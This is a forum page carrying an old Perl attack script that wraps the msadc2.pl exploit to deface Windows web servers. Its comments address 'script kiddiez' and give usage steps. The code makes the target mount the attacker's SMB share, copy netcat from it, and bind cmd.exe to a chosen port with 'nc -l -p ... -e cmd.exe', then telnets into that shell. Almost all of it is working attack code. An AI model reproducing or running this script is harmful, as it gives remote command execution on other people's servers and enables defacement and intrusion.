GoFuckYourself.com - Adult Webmaster Forum

#!/usr/bin/perl
# [msadc2.pl GFX spin perl script]
# by ytcracker/[email protected]
#
# [being description]
# for all the script kiddiez out there who want gfx on their
# hax0red pages in win 9x/NT. msadc oenz you in the 9d9.
# requires msadc2.pl.
# [end description]
#
# [begin usage]
# first off, you need to enable sharing on your win 9x/NT box.
# select a folder and copy your html and graphics into it.
# share the folder with the name "share". mount it read only.
# copy nc.exe into the shared folder.
#
# perl gfxspin.pl [remote host] [local ip] [cmd port]
# i.e. perl gfxspin.pl www.felons.org 132.7.34.223 8500
#
# opens a command shell on port 8500, sharing the drive as y:
# on the remote system. you may need to turn on local echo for
# windows telnet if you haven't already.
#
# IMPORTANT: be sure that at the end of your session you type
# "net use y: /DELETE /YES" to unmount the share from the target box.
# [end usage]

if (!($ARGV[0])) {
print "[gfxspin by ytcracker]\n";
print "usage: gfxspin.pl [remote host] [local ip] [cmd port]\n";
exit;
}

if (!($ARGV[1])) {
print "[gfxspin by ytcracker]\n";
print "usage: gfxspin.pl $ARGV[0] [local ip] [cmd port]\n";
exit;
}

if (!($ARGV[2])) {
print "[gfxspin by ytcracker]\n";
print "usage: gfxspin.pl $ARGV[0] $ARGV[1] [cmd port]\n";
exit;
}

open(TRGET, "| perl msadc2.pl -h $ARGV[0]");
print TRGET "net use y: \\\\$ARGV[1]\\share /YES\n";
close TRGET;

sleep 5;

open(TRGET, "| perl msadc2.pl -h $ARGV[0]");
print TRGET "copy y:\\nc.exe \n";
close TRGET;

sleep 20;

open(TRGET, "| perl msadc2.pl -h $ARGV[0]");
print TRGET "nc -l -p $ARGV[2] -e cmd.exe\n";
close TRGET;

system("telnet $ARGV[0] $ARGV[2]");

#EOF [ytcracker labs 1999]